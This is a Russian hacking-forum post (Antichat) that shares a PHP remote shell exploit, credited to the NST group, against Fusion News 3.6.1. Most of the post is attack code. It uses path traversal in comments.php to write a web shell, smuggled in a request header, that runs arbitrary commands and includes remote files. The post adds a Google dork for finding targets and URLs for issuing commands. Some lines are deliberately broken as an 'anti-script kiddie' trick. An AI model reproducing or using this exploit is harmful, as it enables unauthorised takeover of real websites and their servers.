Форум АНТИЧАТ

есть от NST сплоит под 3.6.1
Код:
<font color=RED>

<?

$copyr = "

!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!



oooo...oooo.oooooooo8.ooooooooooo

.8888o..88.888........88..888..88

.88.888o88..888oooooo.....888

.88...8888.........888....888

o88o....88.o88oooo888....o888o

********************************

**** Network security team *****

********* nst.void.ru **********

********************************

* Title: Fusion News v3.6.1

* Date: 15.05.2005

********************************



Remote shell exploit.



Google:

allintitle:f u s i o n : n e w s : m a n a g e m e n t : s y s t e m



Script owner: www.fusionphp.net



*** Exploit contains anti-script kidis trick. ***

Count: 4



Greetz to: GHC, RST, LWB, AntiChat, VOID, Web-Hack, Securitylab, Security.nnov, Securityfocus



Visit all our friends:

Rus:

ghc.ru

rst.void.ru

lwb57.org

antichat.ru

void.ru

web-hack.ru

securitylab.ru

security.nnov.ru

Eng:

securityfocus.com



Greentz to Ch0k37 from gh0sts, which wants to purchase this exploit but he was too greedy.



!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!



*** Public: 17.05.2005 ***

";



# CONFIG                       (example: http://www.site.com/news/)

$host   = "www.site.com";       # address - example: www.site.com

$folder = "folder/to/fusion";   # folder - example: news

# END OF CONFIG





$fp = fsockopen($host, 80);

$data = "name=nst&email=&fullnews=nst&chars=297&com_Submit*=Submit&pa ss=";

$out = "POST /$folder/comments.php?mid=post&id=/../../templates/headline_ temp HTTP/1.1\r\n";

$out.= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n";

$out.= "Referer: http://$host/\r\n";

$out.= "Accept-Language: ru\r\n";

$out.= "X-FORWORDEDFOR: <?@include($_GET[nst_inc>);@passthru($_GET[nst_cmd>);?> ;\r\n";

$out.= "Content-Type: application/x-www-form-urlencoded\r\n";

$out.= "Accept-Encoding: gzip, deflate\r\n";

$out.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";

$out.= "Host: $hots\r\n";

$out.= "Content-Length: 64\r\n";

$out.= "Connection: Keep-Alive\r\n";

$out.= "Cache-Control: no-cache\r\n";

$out.= "\r\n";

$out.= "name=test&email=&fullnews=test&chars=297&com_Subm*it=Submit& pass=";

fputs($fp,$out);

while(!feof($fp)){

fgets($fp, 128);

}

print "<pre>";

print $copyr;

print "\r\n\r\n <b>

Result:



http://$host/$folder/templates/headline_temp.php?nst_inc=htt p://YOUR_FILE \r\n";

print "http://$host/$folder/templates/headline_temp.php?nst_cmd=ls -la";

?>

</font>
Вот официальный релиз от производителей: http://puzzle.dl.sourceforge.net/sourceforge/fnews/fusionnews-3.9.4.zip